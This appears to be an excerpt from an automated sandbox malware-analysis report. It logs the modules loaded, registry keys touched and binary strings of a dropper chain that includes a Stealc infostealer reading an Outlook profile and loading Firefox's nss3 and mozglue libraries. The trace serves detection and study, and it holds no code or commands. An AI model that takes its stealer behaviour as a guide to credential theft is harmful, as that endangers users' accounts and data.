Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Section loaded: mstask.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Section loaded: dui70.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Section loaded: duser.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Section loaded: chartv.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Section loaded: oleacc.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Section loaded: atlthunk.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Section loaded: explorerframe.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe Section loaded: mozglue.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe Section loaded: msvcp140.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Local\Temp\1000065001\stories.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000065001\stories.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp Section loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp Section loaded: msacm32.dll
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp Section loaded: winmmbase.dll
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp Section loaded: winmmbase.dll
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp Section loaded: riched20.dll
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp Section loaded: usp10.dll
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp Section loaded: msls31.dll
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp Section loaded: explorerframe.dll
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp Section loaded: sfc.dll
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe Section loaded: sxs.dll
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Fido Video Recorder\fidovideorecorder32_64.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Fido Video Recorder\fidovideorecorder32_64.exe Section loaded: dsound.dll
Source: C:\Users\user\AppData\Local\Fido Video Recorder\fidovideorecorder32_64.exe Section loaded: powrprof.dll
Source: C:\Users\user\AppData\Local\Fido Video Recorder\fidovideorecorder32_64.exe Section loaded: powrprof.dll
Source: C:\Users\user\AppData\Local\Fido Video Recorder\fidovideorecorder32_64.exe Section loaded: winmmbase.dll
Source: C:\Users\user\AppData\Local\Fido Video Recorder\fidovideorecorder32_64.exe Section loaded: umpdc.dll
Source: C:\Users\user\AppData\Local\Fido Video Recorder\fidovideorecorder32_64.exe Section loaded: appxsip.dll
Source: C:\Users\user\AppData\Local\Fido Video Recorder\fidovideorecorder32_64.exe Section loaded: opcservices.dll
Source: C:\Users\user\AppData\Local\Fido Video Recorder\fidovideorecorder32_64.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Fido Video Recorder\fidovideorecorder32_64.exe Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Fido Video Recorder\fidovideorecorder32_64.exe Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe Section loaded: dwrite.dll
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe Section loaded: textshaping.dll
Source: C:\Windows\System32\svchost.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe Section loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exe Section loaded: bitsperf.dll
Source: C:\Windows\System32\svchost.exe Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe Section loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: esent.dll
Source: C:\Windows\System32\svchost.exe Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exe Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe Section loaded: bitsigd.dll
Source: C:\Windows\System32\svchost.exe Section loaded: upnp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ssdpapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exe Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe Section loaded: wsmauto.dll
Source: C:\Windows\System32\svchost.exe Section loaded: miutils.dll
Source: C:\Windows\System32\svchost.exe Section loaded: wsmsvc.dll
Source: C:\Windows\System32\svchost.exe Section loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exe Section loaded: pcwum.dll
Source: C:\Windows\System32\svchost.exe Section loaded: mi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: wkscli.dll
Source: C:\Windows\System32\svchost.exe Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exe Section loaded: cryptdll.dll
Source: C:\Windows\System32\svchost.exe Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: rmclient.dll
Source: C:\Windows\System32\svchost.exe Section loaded: usermgrcli.dll
Source: C:\Windows\System32\svchost.exe Section loaded: execmodelclient.dll
Source: C:\Windows\System32\svchost.exe Section loaded: propsys.dll
Source: C:\Windows\System32\svchost.exe Section loaded: coremessaging.dll
Source: C:\Windows\System32\svchost.exe Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\svchost.exe Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exe Section loaded: execmodelproxy.dll
Source: C:\Windows\System32\svchost.exe Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\svchost.exe Section loaded: vssapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: vsstrace.dll
Source: C:\Windows\System32\svchost.exe Section loaded: samcli.dll
Source: C:\Windows\System32\svchost.exe Section loaded: samlib.dll
Source: C:\Windows\System32\svchost.exe Section loaded: es.dll
Source: C:\Windows\System32\svchost.exe Section loaded: bitsproxy.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: dwrite.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: msvcp140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: msisip.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: wshext.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: appxsip.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: opcservices.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: esdsip.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: dpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: gpapi.dll
Source: C:\Users\user\Desktop\file.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp Window found: window name: TMainForm
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Automated click: OK
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Automated click: OK
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Automated click: OK
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Automated click: OK
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp Registry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Fido Video Recorder_is1
Source: file.exe Static file information: File size 1973760 > 1048576
Source: file.exe Static PE information: Raw size of ukgzfzxu is bigger than: 0x100000 < 0x1b0400
Source: Binary string: mozglue.pdbP source: stealc_default2.exe, 00000013.00000002.3061112605.0000000068E3D000.00000002.00000001.01000000.00000021.sdmp
Source: Binary string: .pdb8 source: axplong.exe, 00000006.00000003.3054813558.0000000001620000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000003.3138607330.0000000001620000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: nss3.pdb@ source: stealc_default2.exe, 00000013.00000002.3061741872.0000000068FFF000.00000002.00000001.01000000.00000020.sdmp
Source: Binary string: nss3.pdb source: stealc_default2.exe, 00000013.00000002.3061741872.0000000068FFF000.00000002.00000001.01000000.00000020.sdmp
Source: Binary string: mozglue.pdb source: stealc_default2.exe, 00000013.00000002.3061112605.0000000068E3D000.00000002.00000001.01000000.00000021.sdmp
